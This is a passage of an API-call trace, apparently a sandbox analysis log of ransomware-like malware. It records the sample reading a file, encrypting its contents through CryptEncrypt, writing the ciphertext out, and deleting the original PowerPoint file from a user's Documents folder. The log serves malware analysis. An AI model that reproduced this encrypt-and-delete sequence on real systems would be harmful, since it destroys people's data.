dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.394] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.394] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.394] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.394] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.396] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.396] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x4446, lpOverlapped=0x0) returned 1 [0070.397] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.400] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.400] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.400] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.401] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.401] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.401] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.401] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.401] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.401] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.402] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.402] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.402] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.402] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.402] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x16294e0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294e0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.406] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.406] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.407] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.407] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.407] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.408] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.408] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.408] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.408] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x4446, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x4450) returned 1 [0070.408] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.408] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.408] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.408] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.409] CharLowerBuffW (in: lpsz="byte[17489]", cchLength=0xb | out: lpsz="byte[17489]") returned 0xb [0070.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.409] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.409] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.409] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.409] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.410] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e388e8*, pdwDataLen=0x130e618*=0x4446, dwBufLen=0x4450 | out: pbData=0x4e388e8*, pdwDataLen=0x130e618*=0x4450) returned 1 [0070.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.410] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.410] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.410] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.410] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.410] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.410] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.411] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.411] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.411] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.411] WriteFile (in: hFile=0x3bc, lpBuffer=0x4e30048*, nNumberOfBytesToWrite=0x4450, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4e30048*, lpNumberOfBytesWritten=0x130f01c*=0x4450, lpOverlapped=0x0) returned 1 [0070.412] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.412] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.412] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.412] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.413] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.413] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.413] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.413] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.413] CryptDestroyKey (hKey=0x164c630) returned 1 [0070.413] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.413] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.413] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.413] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.413] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.413] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.413] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.413] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.413] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.413] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.414] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.414] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.414] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.414] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.414] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.414] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.414] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.417] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.417] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.417] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.417] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.417] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.417] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.417] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.417] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.417] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.417] CryptReleaseContext (hProv=0x17aa4d8, dwFlags=0x0) returned 1 [0070.417] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.417] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.417] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.417] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.417] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.417] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.417] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.418] CloseHandle (hObject=0x2ac) returned 1 [0070.418] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.418] CloseHandle (hObject=0x3bc) returned 1 [0070.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.423] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.423] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", lpFilePart=0x0) returned 0x2a [0070.423] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\gu-7w.pptx")) returned 0x20 [0070.423] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6b0 [0070.424] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\gu-7w.pptx")) returned 1 [0070.427] FindNextFileW (in: hFindFile=0x164c6b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.427] FindClose (in: hFindFile=0x164c6b0 | out: hFindFile=0x164c6b0) returned 1 [0070.427] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.427] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.428] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.428] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 